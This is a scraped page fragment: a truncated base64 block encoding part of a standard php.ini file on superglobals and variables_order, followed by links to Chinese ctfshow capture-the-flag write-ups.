c3VwZXIgZ2xvYmFsIGFycmF5cyBhcmUgcmVnaXN0ZXJlZCB3aGVuIFBIUAo7IHN0YXJ0cyB1cC4gRyxQLEMsRSAmYW1wOyBTIGFyZSBhYmJyZXZpYXRpb25zIGZvciB0aGUgZm9sbG93aW5nIHJlc3BlY3RpdmUgc3VwZXIKOyBnbG9iYWxzOiBHRVQsIFBPU1QsIENPT0tJRSwgRU5WIGFuZCBTRVJWRVIuIFRoZXJlIGlzIGEgcGVyZm9ybWFuY2UgcGVuYWx0eQo7IHBhaWQgZm9yIHRoZSByZWdpc3RyYXRpb24gb2YgdGhlc2UgYXJyYXlzIGFuZCBiZWNhdXNlIEVOViBpcyBub3QgYXMgY29tbW9ubHkKOyB1c2VkIGFzIHRoZSBvdGhlcnMsIEVOViBpcyBub3QgcmVjb21tZW5kZWQgb24gcHJvZHVjdGlvbnMgc2VydmVycy4gWW91CjsgY2FuIHN0aWxsIGdldCBhY2Nlc3MgdG8gdGhlIGVudmlyb25tZW50IHZhcmlhYmxlcyB0aHJvdWdoIGdldGVudigpIHNob3VsZCB5b3UKOyBuZWVkIHRvLgo7IERlZmF1bHQgVmFsdWU6ICZxdW90O0VHUENTJnF1b3Q7CjsgRGV2ZWxvcG1lbnQgVmFsdWU6ICZxdW90O0dQQ1MmcXVvdDsKOyBQcm9kdWN0aW9uIFZhbHVlOiAmcXVvdDtHUENTJnF1b3Q7Owo7IGh0dHA6Ly9waHAubmV0L3ZhcmlhYmxlcy1vcmRlcgp2YXJpYWJsZXNfb3JkZXIgPSAmcXVvdDtHUENTJnF1b3Q7Cgo7IFRoaXMgZGlyZWN0aXZlIGRldGVybWluZXMgd2hpY2ggc3VwZXIgZ2xvYmFsIGRhdGEgKEcsUCAmYW1wOyBDKSBzaG91bGQgYmUKOyByZWdpc3RlcmVkIGludG8gdGhlIHN1cGVyIGdsb2JhbCBhcnJheSBSRVFVRV

以上是关于ctfshow终极考核(一键通关脚本)的主要内容,如果未能解决你的问题,请参考以下文章

ctfshow终极考核 web66⑥-web669

ctfshow终极考核web640-web653

ctfshow终极考核web654

ctfshow终极考核web654

ctfshow-终极考核 WEB640-650

❤️CTFShow web1-7❤️——CTF秀WEB模块解题思路, 东半球第二细的通关教程!!!